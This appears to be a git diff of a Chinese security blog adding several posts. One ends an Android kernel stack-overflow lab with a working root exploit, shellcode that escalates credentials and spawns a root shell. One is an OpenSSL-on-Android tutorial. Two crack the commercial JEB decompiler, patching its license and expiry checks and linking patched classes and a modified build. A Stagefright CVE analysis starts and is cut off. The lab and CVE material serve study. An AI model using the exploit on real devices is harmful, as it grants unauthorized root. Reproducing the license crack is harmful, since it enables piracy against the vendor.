后就表示 处理器进入了用户模式。 + +所以现在的利用思路是: + +- 调用 `commit_creds(prepare_kernel_cred(0))` 提升权限 + +- 调用 `mov r3, #0x40000010; MSR CPSR_c,R3; `设置 `cpsr`寄存器,使`cpu`进入用户模式 + +- 然后执行 `execl("/system/bin/sh", "sh", NULL);` 起一个 `root` 权限的 `shell` + + +最后的 `exp` : +``` +#include +#include +#include +#include +#include +#define MAX 64 +int open_file(void) +{ + int fd = open("/proc/stack_buffer_overflow", O_RDWR); + if (fd == -1) + err(1, "open"); + return fd; +} +void payload(void) +{ + printf("[+] enjoy the shell\n"); + execl("/system/bin/sh", "sh", NULL); +} +extern uint32_t shellCode[]; +asm +( +" .text\n" +" .align 2\n" +" .code 32\n" +" .globl shellCode\n\t" +"shellCode:\n\t" +// commit_creds(prepare_kernel_cred(0)); +// -> get root +"LDR R3, =0xc0039d34\n\t" //prepare_kernel_cred addr +"MOV R0, #0\n\t" +"BLX R3\n\t" +"LDR R3, =0xc0039834\n\t" //commit_creds addr +"BLX R3\n\t" +"mov r3, #0x40000010\n\t" +"MSR CPSR_c,R3\n\t" +"LDR R3, =0x879c\n\t" // payload function addr +"BLX R3\n\t" +); +void trigger_vuln(int fd) +{ + #define MAX_PAYLOAD (MAX + 2 * sizeof(void*) ) + char buf[MAX_PAYLOAD]; + memset(buf, 'A', sizeof(buf)); + void * pc = buf + MAX + 1 * sizeof(void*); + printf("shellcdoe addr: %p\n", shellCode); + printf("payload:%p\n", payload); + *(void **)pc = (void *) shellCode; //ret addr + /* Kaboom! */ + write(fd, buf, sizeof(buf) ); +} +int main(void) +{ + int fd; + fd = open_file(); + trigger_vuln(fd); + payload(); + close(fd); +} +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1512056489982lu7zmzvc.png?imageslim) +参考链接 +``` +http://www.cnblogs.com/armlinux/archive/2011/03/23/2396833.html + +http://blog.sina.com.cn/s/blog_6ac051b2010123cz.html + +http://bobao.360.cn/learning/detail/3702.html + +https://github.com/Fuzion24/AndroidKernelExploitationPlayground +``` + + + diff --git a/source/_posts/android_studio_use_openssl.md b/source/_posts/android_studio_use_openssl.md new file mode 100644 index 00000000..a242a937 --- /dev/null +++ b/source/_posts/android_studio_use_openssl.md @@ -0,0 +1,152 @@ +--- +title: android studio使用openssl +authorId: hac425 +tags: + - openssl + - 开发 + - '' +categories: + - 安卓安全 +date: 2017-11-19 14:30:00 +--- +### 前言 +逆向的基础是开发, 逆向分析时很多时候会使用一些公开的加密函数来对数据进行加密,通过使用 `openssl` 熟悉下。 + +### 正文 +首先得先编译出来 `openssl`,然后把它们复制到你的工程目录下。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15110733397054zqc1idw.png?imageslim) + +`include` 是 `openssl` 的头文件。`lib` 下的那些是编译出来的so。 + +然后修改 `build.gradle` 中的 `cmake` 项: + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511073468721ci33oo8v.png?imageslim) + +`cppFlags` 是编译选项, `abiFilters`指定编译so的 `abi`,和 刚才 `lib` 目录中的目录项对应。后面会用到。 + +增加 ![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511073600119rzvpfdcl.png?imageslim) + +`jniLibs.srcDirs` 的值为`openssl` so的目录。表示打包时直接复制这些就行了。 +最终的 `build.gradle` +``` +apply plugin: 'com.android.application' + +android { + compileSdkVersion 26 + defaultConfig { + applicationId "com.example.administrator.oi" + minSdkVersion 19 + targetSdkVersion 26 + versionCode 1 + versionName "1.0" + testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner" + externalNativeBuild { + cmake { + cppFlags "-std=c++11 -frtti -fexceptions" + abiFilters 'armeabi', 'armeabi-v7a' + } + } + } + buildTypes { + release { + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro' + } + } + + sourceSets { + main { + jniLibs.srcDirs = ["C:\\Users\\Administrator\\AndroidStudioProjects\\oi\\app\\openssl_resouce\\lib"] + } + } + + externalNativeBuild { + cmake { + path "CMakeLists.txt" + } + } +} + +dependencies { + implementation fileTree(dir: 'libs', include: ['*.jar']) + implementation 'com.android.support:appcompat-v7:26.1.0' + implementation 'com.android.support.constraint:constraint-layout:1.0.2' + testImplementation 'junit:junit:4.12' + androidTestImplementation 'com.android.support.test:runner:1.0.1' + androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.1' +} + +``` + +然后修改 `CMakeLists.txt`, 中文注释的地方就是修改的地方。 + +``` +# For more information about using CMake with Android Studio, read the +# documentation: https://d.android.com/studio/projects/add-native-code.html + +# Sets the minimum version of CMake required to build the native library. + +cmake_minimum_required(VERSION 3.4.1) + +# 设置头文件加载的目录 +include_directories(C:/Users/Administrator/AndroidStudioProjects/oi/app/openssl_resouce/include) + + +#动态方式加载 +add_library(openssl SHARED IMPORTED ) +add_library(ssl SHARED IMPORTED ) + +#引入第三方.so库,根据${ANDROID_ABI} 引用不同的库 +set_target_properties(openssl PROPERTIES IMPORTED_LOCATION C:/Users/Administrator/AndroidStudioProjects/oi/app/openssl_resouce/lib/${ANDROID_ABI}/libcrypto.so) +set_target_properties(ssl PROPERTIES IMPORTED_LOCATION C:/Users/Administrator/AndroidStudioProjects/oi/app/openssl_resouce/lib/${ANDROID_ABI}/libssl.so) + + + +# Creates and names a library, sets it as either STATIC +# or SHARED, and provides the relative paths to its source code. +# You can define multiple libraries, and CMake builds them for you. +# Gradle automatically packages shared libraries with your APK. + +add_library( # Sets the name of the library. + native-lib + + # Sets the library as a shared library. + SHARED + + # Provides a relative path to your source file(s). + src/main/cpp/native-lib.cpp ) + +# Searches for a specified prebuilt library and stores the path as a +# variable. Because CMake includes system libraries in the search path by +# default, you only need to specify the name of the public NDK library +# you want to add. CMake verifies that the library exists before +# completing its build. + +find_library( # Sets the name of the path variable. + log-lib + + # Specifies the name of the NDK library that + # you want CMake to locate. + log ) + +# Specifies libraries CMake should link to your target library. You +# can link multiple libraries, such as libraries you define in this +# build script, prebuilt third-party libraries, or system libraries. + +# 设置链接选项 +target_link_libraries( # Specifies the target library. + native-lib + openssl + ssl + + # Links the target library to the log library + # included in the NDK. + ${log-lib} ) +``` + +然后就可以使用了。 + +项目路径 + +https://gitee.com/hac425/android_openssl/ \ No newline at end of file diff --git a/source/_posts/crack_jeb_mips_2_3_3.md b/source/_posts/crack_jeb_mips_2_3_3.md new file mode 100644 index 00000000..d2869184 --- /dev/null +++ b/source/_posts/crack_jeb_mips_2_3_3.md @@ -0,0 +1,421 @@ +--- +title: 'java应用破解之破解 jeb mips 2.3.3 ' +authorId: hac425 +tags: + - jeb + - 破解 + - jar包调试 +categories: + - jeb破解 +date: 2017-10-23 22:25:00 +--- +### 前言 + +由于要去学习路由器相关的漏洞利用技术的学习,而许多的路由器都是 `mips架构` 的,`IDA` 又不能反编译 `mips` , 发现 `jeb` 的新版支持 `mips的反编译` ,于是去官网申请一个试用版,试用版的限制还是比较多的,比如 `使用时间验证`,`没法复制粘贴` 等,于是想尝试看看能否破解,同时填了 `java破解` 这个坑。 + +--- +本文主要记录的是破解过程中的思路和使用的一些工具,技巧。文末有处理后的数据。 + +--- +### 正文 + + `jeb` 的主要逻辑在 `jeb.jar` 中,该文件会在程序运行起来后释放到程序目录中的其中一个子目录下,使用 `Everything` 搜 `jeb.jar` 就可以找到文件的位置。找到文件后就可以逆向分析了。本文重点不在逆向这方面,而是要介绍我破解这个软件的一个大概的流程。 + + 下面介绍几个在整个流程中起到重要作用的工具。 + - `Btrace` ----> hook java系统函数,打印堆栈,找关键方法 + - `javassist` ----> 修改字节码 + - `IDEA` ------> 动态调试jar包 + + +试用版的一个最无语的限制就是必须要联网才能使用,不联网就会直接退出了,就是如此暴力。但是这对我们来说则是绝佳的条件。我们可以使用 Btrace `hook java.lang.System.exit` 函数,然后打印堆栈信息,就可以定位到在退出前所调用的方法,一般来说,在方法之间肯定会有离关键方法很近的方法,或者直接就是我们要找的目标方法。 +这个是之前破解的,现在我重新测试时,提示 `超过试用期 `,然后就退出了。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508820496115nl8oskut.png?imageslim) + +不管怎样有异常就好,然后hook `java.lang.System.exit` 打印堆栈信息就可以看到一些jeb自己写一些方法的的信息了。 + +Btrace脚本如下 + +``` +import com.sun.btrace.annotations.*; +import static com.sun.btrace.BTraceUtils.*; + +@BTrace +public class TraceHelloWorld { + @OnMethod + (clazz = "java.lang.System", method = "exit") + public static void Trace_exit() + { + println( "jstack() is :" ); + println( "[" ); + jstack(); + println( "]" ); + } +} + + +``` +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508820717781912l6lzi.png?imageslim) + +这里有个小问题,如果你是通过运行jeb_wincon.bat 或者 jeb.exe来启动jeb的话你是看不到他开启的 java进程的,所以可以使用 `everything` 搜索`org.eclipse.equinox.launcher*jar` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508820877604x2xuse0y.png?imageslim) + +然后运行那个 jar 包就可以正常的找到 `jeb启动的 java 进程` 了,这样我们才可以使用 Btrace 脚本进行 hook. 至于为什么是这样的,我也不记得当初是怎样找到的。可以去逆向 `jeb.exe` 或者 看使用 `org.eclipse.equinox ` 开发的教程可以弄清楚。其实通过 `Btrace` 然后配合着静态分析就可以解决这个软件了我认为。 + +Jeb里面会使用一个函数对字符串进行加密,所以在逆向的时候会很不方便,当初我是用 IDEA 调试它,然后 在 IDEA 的调试环境里面,调用解密函数(使用IDEA的自带的功能),把加密后的字符串解密后,然后再分析的。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15088226254701n26it6w.png?imageslim) + + +使用IDEA调试其实非常简单,我们只需要先新建一个 project , 然后把相关的jar包添加到 Project 的 lib, 然后调用 jar 包中的函数即可。比如 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508821465891r2f5xrjy.png?imageslim) + +信息比较杂,看我画圈的那段代码即可。然后进入想要下断点的位置,正常的下个断点就可以了。 + + +比如我们已经知道,程序权限校验的关键逻辑在 jeb.jar中,我们直接调用 jeb.jar中的 main 方法,然后进去调试里面的代码即可 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508821704636jxtite92.png?imageslim) + +赏心悦目的调试,美滋滋。分析或者调试 `jeb.jar` ,就可以找到 字符串加密的那个方法。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508822313678ssj9on8b.png?imageslim) +如果没有目标,我们可以使用 Btrace hook 这个函数,打印他的返回值,就可以看到程序中各种被解密后的字符串了。脚本如下 +``` +import static com.sun.btrace.BTraceUtils.println; +import static com.sun.btrace.BTraceUtils.str; +import static com.sun.btrace.BTraceUtils.strcat; +import static com.sun.btrace.BTraceUtils.timeMillis; +import static com.sun.btrace.BTraceUtils.jstack; + + +import com.sun.btrace.annotations.BTrace; +import com.sun.btrace.annotations.Kind; +import com.sun.btrace.annotations.Location; +import com.sun.btrace.annotations.OnMethod; + +@BTrace +public class TraceHelloWorld { + @OnMethod + (clazz = "com.pnfsoftware.jebglobal.GN", method = "dL") + public static void Trace_exit() + { + println( "ret is : " ); + println( "[" ); + jstack(); + println( "]" ); + println( "-------------------------------------------------------" ); + println( "-------------------------------------------------------" ); + println( "-------------------------------------------------------" ); + println( "-------------------------------------------------------" ); + } +} + + +``` +经过各种翻看代码,调试, Hook, 终于找到一些可能是比较关键的函数,我们该怎么办呢? 这时可以使用 `javassist ` 来修改目标 方法。 +比较懒,把破解 JEB 期间的所有代码都放到 一个 函数里面了,做了一定的注释。 + +``` +package me.hacklh; + +import com.pnfsoftware.jeb.Launcher; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import javassist.CtNewMethod; +import com.pnfsoftware.jeb.installer.*; +import org.eclipse.core.launcher.Main; +import com.pnfsoftware.jeb.client.Licensing; + + +public class JebCracker { + + public static void main(String[] args) throws Exception { + +// com.pnfsoftware.jeb.installer.Launcher.main(new String[]{"--di"}); +// DES.main(args); + Launcher.main(new String[]{"--generate-key"}); + CtClass.debugDump = "./debugDump/"; + + System.out.println(Licensing.allowAnyClient()); + +// Main.main(args); + + /** + * 修改安装时的校验, 避免去下载网络安装文件,直接使用我们事先下好的文件就行 + */ + ClassPool pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jeb.installer"); + CtClass old_class = pool.get("com.pnfsoftware.jeb.installer.Package"); + old_class.detach(); + CtMethod old_method = old_class.getDeclaredMethod + ( + "verifyData", + new CtClass[] + { + pool.get(byte[].class.getName()), + } + ); + old_method.setBody("return true;"); + old_class.writeFile(); + /** + * 修改getStatus, AbstractContext会起几个线程修改status + */ + pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jeb.client.AbstractContext"); + old_class = pool.get("com.pnfsoftware.jeb.client.AbstractContext"); + old_class.detach(); + old_method = old_class.getDeclaredMethod + ( + "getStatus", + new CtClass[] + { + } + ); + old_method.setBody("return 0;"); + + old_method = old_class.getDeclaredMethod + ( + "terminate", + new CtClass[] + { + } + ); + old_method.setBody(";"); + old_class.writeFile(); + + /** + * internet 检测 + */ + pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jebglobal.tB"); + old_class = pool.get("com.pnfsoftware.jebglobal.tB"); + old_class.detach(); + old_method = old_class.getDeclaredMethod + + ( + "dL", + new CtClass[] + { + pool.get(boolean.class.getName()), + } + ); + old_method.setBody("return true;"); + + old_method = old_class.getDeclaredMethod + ( + "run", + new CtClass[] + { + } + ); + old_method.setBody(";"); + old_class.writeFile(); + + /** + * 增加许可证的过期时间 + */ + pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jeb.client.Licensing"); + old_class = pool.get("com.pnfsoftware.jeb.client.Licensing"); + old_class.detach(); + + old_method = old_class.getDeclaredMethod + ( + "getExpirationTimestamp", + new CtClass[] + { + } + ); + old_method.setBody("return real_license_ts + 345600000;"); + + old_method = old_class.getDeclaredMethod + ( + "isInternetRequired", + new CtClass[] + { + } + ); + old_method.setBody("return false;"); + + + old_method = old_class.getDeclaredMethod + ( + "isFullBuild", + new CtClass[] + { + } + ); + old_method.setBody("return true;"); + old_method = old_class.getDeclaredMethod + ( + "canUseCoreAPI", + new CtClass[] + { + } + ); + old_method.setBody("return true;"); + old_method = old_class.getDeclaredMethod + ( + "canUseCoreAPI", + new CtClass[] + { + } + ); + old_method.setBody("return true;"); + old_class.writeFile(); + + /** + * patch 掉与网络下载有关的函数,禁止升级 + */ + pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jeb.util.net.Net"); + old_class = pool.get("com.pnfsoftware.jeb.util.net.Net"); + old_class.detach(); + old_method = old_class.getDeclaredMethod + + ( + "downloadBinary", + new CtClass[] + { + pool.get(String.class.getName()) + } + ); + old_method.setBody("return null;"); + + old_method = old_class.getDeclaredMethod + ( + "httpPost", + new CtClass[] + { + pool.get(String.class.getName()), + pool.get(String.class.getName()), + pool.get(long[].class.getName()) + } + ); + old_method.setBody("return null;"); + old_class.writeFile(); + + + } +} + + +``` +运行后会在工程目录生成一个文件夹,以你修改的类名为目录结构。 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508823032290g5jxwh19.png?imageslim) + +把这些 class文件替换到来的 jar 包里面就可了。 +可以使用 winrar 把 jar 包打开,找到对应目录,拖进去替换就行了。 +替换之后要去 META-INF 删掉一些东西。具体看下图 + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508823340258i9tfkhxn.png?imageslim) + +这样就完成了jar包的修改。 +最后说下静态分析jar包的工具,使用 JEB 就可以。首先把jar 转换为 dex. + +--- +dx.bat --dex --output=d:\dst.dex src.jar + +--- + + +然后拿起jeb分析就行了。 + + +### 最后 +如果你看到了这里,并且按我前面所说的方式一步一步破解了jeb, 那么恭喜你和我一样被坑了。弄得差不多的时候,我发现有一个神奇的类。 +`com.pnfsoftware.jeb.client.Licensing` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508823755460wqmsw9br.png?imageslim) + +瞬间爆炸,我们只要修改这里的函数的返回值,或者直接重写这个类,就可以基本搞定这款软件了。52破解上的 jeb 2.2.7 中延长使用时间 就是修改的这个类的方法(后面才看的,悲伤~~) + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1508823969930hxe2xs6n.png?imageslim) + +编译后 [Class文件,点我](https://gitee.com/hac425/blog_data/blob/master/jeb_data.zip) ,用它去替换jeb.jar中的相应文件即可,具体替换方法,文中有介绍。 + +分析过程的一些笔记 +``` + +2.3.3 +com.pnfsoftware.jebglobal.cF 用于获取serial, uuid 生成字符串 + .At---> get uuid + .GQ----> get serial number + .dL------> get_md5、 +com.pnfsoftware.jebglobal.eI sC方法会检测运行时间,定时退出 校验运行时间 patch +com.pnfsoftware.jeb.client.Licensing licensing 校验 , 修改该类的方法的返回值可以拿到大量的结果 +com.pnfsoftware.jebglobal.Wr 重要函数,程序初始化, 保存功能 + +``` +分析过程中的另外的 Btrace脚本 + +``` +/* BTrace Script Template */ +import com.sun.btrace.annotations.*; +import static com.sun.btrace.BTraceUtils.*; +/* + + + +@BTrace +public class TracingScript { + + @OnMethod( + clazz = "com.pnfsoftware.jebglobal.Wr", + method = "saveProject") + public static void traceExecute(){ + jstack(); + println(strcat("--------------:--\n","********************\n")); + } + +} + + + + +@BTrace +public class TracingScript { + + @OnMethod( + clazz = "com.pnfsoftware.jebglobal.qI", + method = "getKey", + location=@Location(Kind.RETURN) + ) + public static void traceExecute(@Self com.pnfsoftware.jebglobal.qI object, @Return String result){ + println(strcat("ret: ",str(result))); + jstack(); + println(strcat("--------------:--\n","********************\n")); + } + +} + +*/ + + + +@BTrace +public class TracingScript { + + @OnMethod( + clazz = "com.pnfsoftware.jebglobal.GN", + method = "dL", + location=@Location(Kind.RETURN) + ) + public static void traceExecute(@Self com.pnfsoftware.jebglobal.GN object, byte[] var0, int var1, int var2, @Return String result){ + println(strcat("ret: ",str(result))); + jstack(); + println(strcat("--------------:--\n","********************\n")); + } + +} + + + + +``` diff --git a/source/_posts/crack_jeb_mips_2_3_7.md b/source/_posts/crack_jeb_mips_2_3_7.md new file mode 100644 index 00000000..766f8147 --- /dev/null +++ b/source/_posts/crack_jeb_mips_2_3_7.md @@ -0,0 +1,291 @@ +--- +title: 破解 jeb 2.3.7 demo +authorId: hac425 +tags: + - jeb 2.3.7 +categories: + - jeb破解 +date: 2017-10-27 10:15:00 +--- +### 前言 +使用的技术和上文的一样。 + + +`mips` 版本的修改版 + +百度云: + +链接: https://pan.baidu.com/s/1c1Oh0x6 密码: ekjj + +### 正文 + +**安卓版** + +` +jeb-2.3.7.201710262129-JEBDecompilerDemo-121820464987384338 +` + + +重新编译一个 `com.pnfsoftware.jeb.client.Licensing ` + +``` +// +// Source code recreated from a .class file by IntelliJ IDEA +// (powered by Fernflower decompiler) +// + +package com.pnfsoftware.jeb.client; + +import com.pnfsoftware.jeb.AssetManager; +import com.pnfsoftware.jeb.util.format.Strings; +import com.pnfsoftware.jeb.util.logging.GlobalLog; +import com.pnfsoftware.jeb.util.logging.ILogger; +import com.pnfsoftware.jebglobal.GN; +import com.pnfsoftware.jebglobal.mW; + +public final class Licensing { + private static final ILogger logger = GlobalLog.getLogger(Licensing.class); + public static final String user_email = "love_lh@hac425.com"; + public static final String user_group = "hacker"; + public static final int user_id = 2116188757; + public static final String user_name = "hac425"; + public static final int user_count = 20; + public static final int license_ts = 0; + public static final int license_validity = 40000; + public static int real_license_ts = 0; + public static int build_type = 0; + public static final int FLAG_AIRGAP = 8; + public static final int FLAG_ANYCLIENT = 16; + public static final int FLAG_COREAPI = 32; + public static final int FLAG_DEBUG = 1; + public static final int FLAG_FLOATING = 4; + public static final int FLAG_FULL = 2; + public static final int FLAG_JEB2 = 128; + + + static { + int v0 = Licensing.build_type | 2; + Licensing.build_type = v0; + v0 |= 4; + Licensing.build_type = v0; + v0 |= 8; + Licensing.build_type = v0; + v0 |= 16; + Licensing.build_type = v0; + v0 |= 32; + Licensing.build_type = v0; + Licensing.build_type = v0 | 128; + } + + + public Licensing() { + } + + public static final void setLicenseTimestamp(int var0) { + real_license_ts = 1505267330; + } + + public static final int getExpirationTimestamp() { + return real_license_ts + 345600000; + } + + public static final int getBuildType() { + return build_type; + } + + public static final boolean isDebugBuild() { + return true; + } + + public static final boolean isReleaseBuild() { + return !isDebugBuild(); + } + + public static final boolean isFullBuild() { + return true; + } + + public static final boolean isDemoBuild() { + return !isFullBuild(); + } + + public static final boolean isFloatingBuild() { + return (build_type & 4) != 0; + } + + public static final boolean isIndividualBuild() { + return !isFloatingBuild(); + } + + public static final boolean isAirgapBuild() { + return (build_type & 8) != 0; + } + + public static final boolean isInternetRequired() { + return false; + } + + public static final boolean allowAnyClient() { + return (build_type & 16) != 0; + } + + public static final boolean canUseCoreAPI() { + return true; + } + + public static final String getBuildTypeString() { + StringBuilder var0 = new StringBuilder(); + if (isReleaseBuild()) { + var0.append(mW.UU(new byte[]{-119, 23, 9, 9, 4, 18, 22, 74}, 1, 251)); + } else { + var0.append(mW.UU(new byte[]{35, 1, 7, 23, 18, 72}, 1, 71)); + } + + if (isFullBuild()) { + var0.append(mW.UU(new byte[]{37, 26, 28, 21, 93}, 2, 39)); + } else { + var0.append(mW.UU(new byte[]{39, 10, 29, 22, 93}, 2, 200)); + } + + if (isFloatingBuild()) { + var0.append(mW.UU(new byte[]{-114, 10, 3, 14, 21, 29, 7, 9, 72}, 1, 232)); + } else { + var0.append(mW.UU(new byte[]{42, 1, 20, 16, 4, 0, 3, 29, 21, 76, 7}, 2, 150)); + } + + if (isAirgapBuild()) { + var0.append(mW.UU(new byte[]{34, 6, 2, 84, 21, 8, 23, 71}, 2, 100)); + } else { + var0.append(mW.UU(new byte[]{8, 23, 20, 92, 68, 7, 26, 17, 23, 28, 11, 17, 91}, 1, 122)); + } + + if (allowAnyClient()) { + var0.append(mW.UU(new byte[]{82, 15, 23, 84, 78, 15, 5, 12, 11, 26, 91}, 1, 51)); + } else { + var0.append(mW.UU(new byte[]{-85, 9, 0, 15, 10, 10, 8, 13, 65, 78, 15, 5, 12, 11, 26, 91}, 1, 196)); + } + + if (canUseCoreAPI()) { + var0.append(mW.UU(new byte[]{32, 0, 2, 28, 95, 8, 23, 1}, 2, 169)); + } else { + var0.append(mW.UU(new byte[]{-27, 1, 66, 78, 12, 29, 23, 72, 76, 17, 25}, 1, 139)); + } + + return var0.toString(); + } + + public static String getLicense() { + byte[] var0 = AssetManager.UU("LICENSE.TXT"); + return var0 == null ? null : Strings.decodeUTF8(var0); + } + + public static String getChangeList() { + byte[] var0 = AssetManager.UU("CHANGELIST.TXT"); + return var0 == null ? null : Strings.decodeUTF8(var0); + } + +} + +``` + +然后patch掉退出函数和更新检测 + +``` +package me.hacklh; + +import com.pnfsoftware.jeb.Launcher; +import javassist.ClassPool; +import javassist.CtClass; +import javassist.CtMethod; +import javassist.CtNewMethod; +import com.pnfsoftware.jeb.client.Licensing; + + +public class JebCracker { + + public static void main(String[] args) throws Exception { + +// com.pnfsoftware.jeb.installer.Launcher.main(new String[]{"--di"}); +// DES.main(args); +// Launcher.main(new String[]{"--generate-key"}); + CtClass.debugDump = "./debugDump/"; + + System.out.println(Licensing.allowAnyClient()); + + /** + * 修改getStatus, AbstractContext会起几个线程修改status + */ + ClassPool pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jeb.client.AbstractContext"); + CtClass old_class = pool.get("com.pnfsoftware.jeb.client.AbstractContext"); + old_class.detach(); + CtMethod old_method = old_class.getDeclaredMethod + ( + "getStatus", + new CtClass[] + { + } + ); + old_method.setBody("return 0;"); + + old_method = old_class.getDeclaredMethod + ( + "terminate", + new CtClass[] + { + } + ); + old_method.setBody(";"); + old_class.writeFile(); + + + + /** + * patch 掉与网络下载有关的函数,禁止升级 + */ + pool = ClassPool.getDefault(); + pool.importPackage("com.pnfsoftware.jeb.util.net.Net"); + old_class = pool.get("com.pnfsoftware.jeb.util.net.Net"); + old_class.detach(); + old_method = old_class.getDeclaredMethod + + ( + "downloadBinary", + new CtClass[] + { + pool.get(String.class.getName()) + } + ); + old_method.setBody("return null;"); + + old_method = old_class.getDeclaredMethod + ( + "httpPost", + new CtClass[] + { + pool.get(String.class.getName()), + pool.get(String.class.getName()), + pool.get(long[].class.getName()) + } + ); + old_method.setBody("return null;"); + old_class.writeFile(); + + + } +} + + +``` + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1509071049085jtzkc8nm.png?imageslim) + +**mips版** +类似 + + +### 最后 +可以在jeb的官网下载其他平台的适配包 +``` +https://www.pnfsoftware.com/jeb2/support-package +``` \ No newline at end of file diff --git a/source/_posts/cve_2015_3864_google_exploit.md b/source/_posts/cve_2015_3864_google_exploit.md new file mode 100644 index 00000000..c404767f --- /dev/null +++ b/source/_posts/cve_2015_3864_google_exploit.md @@ -0,0 +1,400 @@ +--- +title: CVE-2015-3864漏洞利用分析(exploit_from_google) +authorId: hac425 +tags: + - CVE-2015-3864 + - 文件格式漏洞 +categories: + - 安卓安全 +date: 2017-11-21 23:17:00 +--- +### 前言 + + +接下来要学习安卓的漏洞利用相关的知识了,网上搜了搜,有大神推荐 `stagefright` 系列的漏洞。于是开干,本文分析的是 `google` 的 `exploit`. 本文介绍的漏洞是 `CVE-2015-3864` , 在 `google`的博客上也有对该 `exploit` 的研究。 + + + +我之前下载下来了: + +`pdf版本` 的链接:[在这里](https://gitee.com/hac425/blog_data/blob/master/Project-Zero_-Stagefrightened_.pdf) + +`exploit` 的链接: https://www.exploit-db.com/exploits/38226/ + +分析环境: + +``` +Android 5.1 nexus4 +``` + + +### 正文 + +这个漏洞是一个文件格式相关漏洞,是由 `mediaserver` 在处理 `MPEG4` 文件时所产生的漏洞,漏洞的代码位于 `libstagefright.so` 这个库里面。 + +要理解并且利用 `文件格式` 类漏洞,我们就必须要非常清楚的了解目标文件的具体格式规范。 +#### Part 1 文件格式学习 +先来一张总体的格式图 +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511308907505erev1a87.png?imageslim) + +`mp4` 文件由 `box` 组成,图中那些 `free`, `stsc`等都是`box`, `box` 里也可以包含 `box` ,这种 `box` 就叫 `containerbox` . + +- 每个 `box` 前四个字节为 `box` 的 `size` + +- 第二个四字节为 `box` 的 `type`,`box type` 有 `ftyp,moov,trak` 等等好多种,`moov` 是 `containerbox` ,包含 `mvhd` 、`trak` 等 `box` + +还有一些要注意的点。 + +- `box` 中存储数据采用大端字节序存储 +- 当 `size` 域为 0时,表示这是文件最后一个 `box` +- 当 `size` 为1 时,表示这是一个 `large box` ,在 `type` 域后面的 `8 字节` 作为该 `box` 的长度。 + + +下面来看两个实例。 + +**实例一** + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511309726966akyw40lg.png?imageslim) + +- `size` 域为 `00000014`,所以该 `box`长度为 `0x14` 字节。 +- `type` 域为 `66 74 79 70` 所以 `type` 为 `fytp` +- 剩下的一些信息是一些与多媒体播放相关的一些信息。与漏洞利用无关,就不说了。 + + +**实例二** + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/15113100377113eokwnmp.png?imageslim) +- `size` 域为1,表示从该 `box` 开头偏移8字节开始的8字节为 `size` 字段, 所以该 `box` 的大小为 `0xFFFFFFFFFFFFFF88` +- `type` 为 `tx3g` + +现在我们对该文件的格式已经有了一个大概的了解,这对于漏洞利用来说还不够,接下来我们要去看具体的解析该文件格式的代码是怎么实现的。 + +解析文件的具体代码位于 `MPEG4Extractor.cpp` 中的 `MPEG4Extractor::parseChunk` 函数里面。 +该函数中的 `chunk` 对应的就是 `box`, 函数最开始先解析 `type` 和 `size` . +``` + // 开始4字节为 box 大小, 后面紧跟的 4 字节为 box type + + uint64_t chunk_size = ntohl(hdr[0]); + uint32_t chunk_type = ntohl(hdr[1]); //大端序转换 + off64_t data_offset = *offset + 8; // 找到 box 数据区的偏移 + + // 如果size区为1, 那么后面8字节作为size + if (chunk_size == 1) { + if (mDataSource->readAt(*offset + 8, &chunk_size, 8) < 8) { + return ERROR_IO; + } + chunk_size = ntoh64(chunk_size); + data_offset += 8; + + if (chunk_size < 16) { + // The smallest valid chunk is 16 bytes long in this case. + return ERROR_MALFORMED; + } + } else if (chunk_size < 8) { + // The smallest valid chunk is 8 bytes long. + return ERROR_MALFORMED; + } + +``` +通过注释和代码,我们知道对于 `size` 的处理和前面所述是一致的。然后就会根据不同的 `chunk_type` ,进入不同的逻辑, +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511313213505jmd3szla.png?imageslim) + + + +如果 `box` 中还包含 `子 box` 就会递归调用该函数进行解析。 + +#### Part 2 漏洞分析 + +`CVE-2015-3864` 漏洞产生的原因是,在处理 `tx3g box`时,对于获取的 `size` 字段处理不当,导致分配内存时出现整数溢出,进而造成了堆溢出。 + + +![paste image](http://oy9h5q2k4.bkt.clouddn.com/1511313757977irc4emw4.png?imageslim) + +`size` 为之前所解析的所有 `tx3g box` 的长度总和。`chunk_size` 为当前要处理的 `tx3g box` 的长度。然后 `size + chunk_size` 计算要分配的内存大小。 `chunk_size` 是 `uint64_t` 类型的,`chunk_size` 我们在文件格式中我们所能控制的最大大小为 `0xFFFFFFFFFFFFFFFF` ( 看 `part1` 实例二 ) ,也是 `64` 位,但是我们还有一个 `size` 为可以控制,这样一相加,就会造成 `整数溢出` , 导致分配小内存。而我们的 **数据大小则远远大于分配的内存大小,进而造成堆溢出**。 + + +#### Part 3 漏洞利用 +**概述** + +现在我们已经拥有了堆溢出的能力,如果是在 `ptmalloc` 中,可以修改下一个堆块的元数据来触发 `crash` ,甚至可能完成漏洞利用。不过从 `android 5`开始,安卓已经开始使用 `jemalloc` 作为默认的堆分配器。 + +在 `jemalloc` 中,小内存分配采用 `regions` 进行分配, `region` 